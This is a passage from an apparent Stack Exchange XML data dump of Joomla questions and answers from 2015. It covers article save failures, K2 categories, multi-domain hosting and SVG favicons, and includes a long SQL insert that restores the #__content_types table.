&lt;/li&gt;&#xA;&lt;li&gt;/administrator/components/com_templates/controllers/style.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will be able to locate a save function in all these files, and the point where the Save fails and returns the message you are getting, it will be the Language CONSTANT &quot;&lt;code&gt;JLIB_APPLICATION_ERROR_SAVE_FAILED&lt;/code&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First see, if any kind of settings or extensions could create any kind of dependency between saving article+tags with any of the above files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Review the code and see if and how they might interfere with the article saving with tags. Follow the code and find all other code that is being called, and try adding your own debugging within the steps of code execution, till you find any breakpoints e.g. with die statements.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Different approaches would be: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Re-install Joomla 3.4.4 on top of your current site. &lt;/li&gt;&#xA;&lt;li&gt;Or on a clean Joomla installation, start replicating your site, by moving database tables and installing extensions in steps, so you could spot where the issue could be hidden (in a db table, an extension etc).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remember: Whatever you do - make sure you have a backup of your site, and preferably do any kind of experiments, troubleshooting on a clone of your site (not the live one).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be in place to say more, if I had direct access to the site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-09-14T10:03:40.360" LastActivityDate="2015-09-14T10:03:40.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13590" PostTypeId="1" CreationDate="2015-09-14T10:22:49.077" Score="0" ViewCount="439" Body="&lt;p&gt;I'm using k2 to generated various tiles, which I need to filter by an additional category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xTPMu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xTPMu.png&quot; alt=&quot;item generated in joomla&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, I need to get the additional categories to the front-end. I've located the PHP where this is generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('catItemCategory')): ?&amp;gt;&#xA;                    &amp;lt;!-- Item category name --&amp;gt;&#xA;                    &amp;lt;div class=&quot;catItemCategory&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;category-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;category-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;?&#xA;                        // grab additional categories&#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do this? &lt;/p&gt;&#xA;" OwnerUserId="6874" LastEditorUserId="1629" LastEditDate="2015-09-14T22:46:47.867" LastActivityDate="2019-03-17T11:12:30.420" Title="Call additional categories of an item" Tags="|k2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13592" PostTypeId="2" ParentId="13585" CreationDate="2015-09-14T10:52:52.597" Score="2" Body="&lt;p&gt;You are starting from 20 independent Cpanels. Then, you are trying to connect to the same database and load a site for each Cpanel from a single folder. Mainly, you are going against Cpanel design principles of hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article &lt;strong&gt;Multiple Domains and Web Sites in a single Joomla! installation&lt;/strong&gt; assumes multiple domains &lt;em&gt;in the same&lt;/em&gt; Cpanel. Plus, you only have to administer a single site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can host any number of domains on a Cpanel, only restricted by available resources. In your hosting, you can configure a redirect www.my-product.com to a specific page www.my-product.com/landing1.html. From Joomla side, you have to associate landing1 template with a specific landing1 alias in a menu item. Redirects can be managed in Cpanel or with a Joomla extension (like Joomla redirection or Akeeba AdminTools).&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-09-14T10:52:52.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13593" PostTypeId="2" ParentId="7003" CreationDate="2015-09-14T11:04:26.963" Score="1" Body="&lt;p&gt;An update for those who may want to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is now working in Joomla 3.4.4. &lt;code&gt;media&lt;/code&gt; type fields can now be used on repeatable form fields.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-14T11:04:26.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13594" PostTypeId="1" AcceptedAnswerId="13595" CreationDate="2015-09-14T11:55:32.840" Score="1" ViewCount="572" Body="&lt;p&gt;I want to insert an svg file as favicon in Joomla. I have found the function &lt;strong&gt;addFavicon&lt;/strong&gt; in Joomla core files (/libraries/joomla/document/html/html.php) which inserts the favicon link but I don't know how to use it and where in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your answers.&lt;/p&gt;&#xA;" OwnerUserId="5752" LastActivityDate="2015-09-14T12:21:05.830" Title="SVG file as favicon" Tags="|templates|icon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13595" PostTypeId="2" ParentId="13594" CreationDate="2015-09-14T12:21:05.830" Score="2" Body="&lt;p&gt;I haven't tried using an SVG as a favicon, but the &lt;code&gt;addFavicon&lt;/code&gt; function is part of the &lt;code&gt;JDocumentHTML&lt;/code&gt; class, therefore you should use it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = JUri::root() . 'templates/MY_TEMPLATE/file.svg';&#xA;$type = 'image/svg+xml';&#xA;$rel  = 'icon';&#xA;&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addFavicon($path, $type, $rel);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-14T12:21:05.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13596" PostTypeId="2" ParentId="13529" CreationDate="2015-09-14T13:47:16.373" Score="1" Body="&lt;p&gt;OK I've solved this one with help from @FFrewin &amp;amp; @Lodder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After (painstakingly) comparing all my database tables with a similar Joomla 3.4.4 site I noticed that I was missing some rows in my &lt;code&gt;#__content_types&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only had two rows (&lt;code&gt;#__Article&lt;/code&gt; and &lt;code&gt;#__DPCalendar&lt;/code&gt;), whereas I should have had around 15 rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported the populated table from a working site, and imported it to the faulty site. All is now working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how this happened - perhaps during one of the upgrades from 3.2.x? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will include the SQL code for future reference, run this and it will populate the &lt;code&gt;#__content_types&lt;/code&gt; table with the correct data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `#__content_types` (`type_id`, `type_title`, `type_alias`, `table`, `rules`, `field_mappings`, `router`, `content_history_options`) VALUES&#xA;(1, 'Article', 'com_content.article', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__content&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Content&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;state&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created&quot;,&quot;core_modified_time&quot;:&quot;modified&quot;,&quot;core_body&quot;:&quot;introtext&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;publish_up&quot;,&quot;core_publish_down&quot;:&quot;publish_down&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;attribs&quot;, &quot;core_featured&quot;:&quot;featured&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;images&quot;, &quot;core_urls&quot;:&quot;urls&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;ordering&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;catid&quot;, &quot;core_xreference&quot;:&quot;xreference&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;fulltext&quot;:&quot;fulltext&quot;}}', 'ContentHelperRoute::getArticleRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_content\\/models\\/forms\\/article.xml&quot;,  &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;],  &quot;display_lookup&quot;:[ {&quot;source_column&quot;:&quot;catid&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},  {&quot;source_column&quot;:&quot;created_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}, {&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}, {&quot;source_column&quot;:&quot;modified_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;} ]}'),&#xA;(2, 'Weblink', 'com_weblinks.weblink', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__weblinks&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Weblink&quot;,&quot;prefix&quot;:&quot;WeblinksTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;state&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created&quot;,&quot;core_modified_time&quot;:&quot;modified&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;publish_up&quot;,&quot;core_publish_down&quot;:&quot;publish_down&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;featured&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;images&quot;, &quot;core_urls&quot;:&quot;urls&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;ordering&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;catid&quot;, &quot;core_xreference&quot;:&quot;xreference&quot;, &quot;asset_id&quot;:&quot;null&quot;}, &quot;special&quot;:{}}', 'WeblinksHelperRoute::getWeblinkRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_weblinks\\/models\\/forms\\/weblink.xml&quot;,    &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;featured&quot;],    &quot;display_lookup&quot;:[  {&quot;source_column&quot;:&quot;catid&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},    {&quot;source_column&quot;:&quot;created_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},   {&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},   {&quot;source_column&quot;:&quot;modified_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}  ]}'),&#xA;(3, 'Contact', 'com_contact.contact', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__contact_details&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Contact&quot;,&quot;prefix&quot;:&quot;ContactTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;name&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created&quot;,&quot;core_modified_time&quot;:&quot;modified&quot;,&quot;core_body&quot;:&quot;address&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;publish_up&quot;,&quot;core_publish_down&quot;:&quot;publish_down&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;featured&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;image&quot;, &quot;core_urls&quot;:&quot;webpage&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;ordering&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;catid&quot;, &quot;core_xreference&quot;:&quot;xreference&quot;, &quot;asset_id&quot;:&quot;null&quot;}, &quot;special&quot;:{&quot;con_position&quot;:&quot;con_position&quot;,&quot;suburb&quot;:&quot;suburb&quot;,&quot;state&quot;:&quot;state&quot;,&quot;country&quot;:&quot;country&quot;,&quot;postcode&quot;:&quot;postcode&quot;,&quot;telephone&quot;:&quot;telephone&quot;,&quot;fax&quot;:&quot;fax&quot;,&quot;misc&quot;:&quot;misc&quot;,&quot;email_to&quot;:&quot;email_to&quot;,&quot;default_con&quot;:&quot;default_con&quot;,&quot;user_id&quot;:&quot;user_id&quot;,&quot;mobile&quot;:&quot;mobile&quot;,&quot;sortname1&quot;:&quot;sortname1&quot;,&quot;sortname2&quot;:&quot;sortname2&quot;,&quot;sortname3&quot;:&quot;sortname3&quot;}}', 'ContactHelperRoute::getContactRoute', '{&quot;form_file&quot;:&quot;administrator/components/com_contact/models/forms/contact.xml&quot;,&quot;hide_fields&quot;:[&quot;default_con&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;xreference&quot;],&quot;display_lookup&quot;:[  {&quot;source_column&quot;:&quot;created_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;catid&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;modified_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;} ] }'),&#xA;(4, 'Newsfeed', 'com_newsfeeds.newsfeed', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__newsfeeds&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Newsfeed&quot;,&quot;prefix&quot;:&quot;NewsfeedsTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;name&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created&quot;,&quot;core_modified_time&quot;:&quot;modified&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;publish_up&quot;,&quot;core_publish_down&quot;:&quot;publish_down&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;featured&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;images&quot;, &quot;core_urls&quot;:&quot;link&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;ordering&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;catid&quot;, &quot;core_xreference&quot;:&quot;xreference&quot;, &quot;asset_id&quot;:&quot;null&quot;}, &quot;special&quot;:{&quot;numarticles&quot;:&quot;numarticles&quot;,&quot;cache_time&quot;:&quot;cache_time&quot;,&quot;rtl&quot;:&quot;rtl&quot;}}', 'NewsfeedsHelperRoute::getNewsfeedRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_newsfeeds\\/models\\/forms\\/newsfeed.xml&quot;,   &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;],   &quot;display_lookup&quot;:[  {&quot;source_column&quot;:&quot;catid&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},   {&quot;source_column&quot;:&quot;created_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},  {&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},  {&quot;source_column&quot;:&quot;modified_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}  ]}'),&#xA;(5, 'User', 'com_users.user', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__users&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;User&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;name&quot;,&quot;core_state&quot;:&quot;null&quot;,&quot;core_alias&quot;:&quot;username&quot;,&quot;core_created_time&quot;:&quot;registerdate&quot;,&quot;core_modified_time&quot;:&quot;lastvisitDate&quot;,&quot;core_body&quot;:&quot;null&quot;, &quot;core_hits&quot;:&quot;null&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;access&quot;:&quot;null&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;null&quot;, &quot;core_language&quot;:&quot;null&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;null&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;null&quot;, &quot;core_metadesc&quot;:&quot;null&quot;, &quot;core_catid&quot;:&quot;null&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;null&quot;}, &quot;special&quot;:{}}', 'UsersHelperRoute::getUserRoute', ''),&#xA;(6, 'Article Category', 'com_content.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Category&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', 'ContentHelperRoute::getCategoryRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml&quot;,   &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;],   &quot;display_lookup&quot;:[   {&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;parent_id&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}  ] }'),&#xA;(7, 'Contact Category', 'com_contact.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Category&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', 'ContactHelperRoute::getCategoryRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml&quot;,   &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;],   &quot;display_lookup&quot;:[   {&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;parent_id&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}  ] }'),&#xA;(8, 'Newsfeeds Category', 'com_newsfeeds.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Category&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, 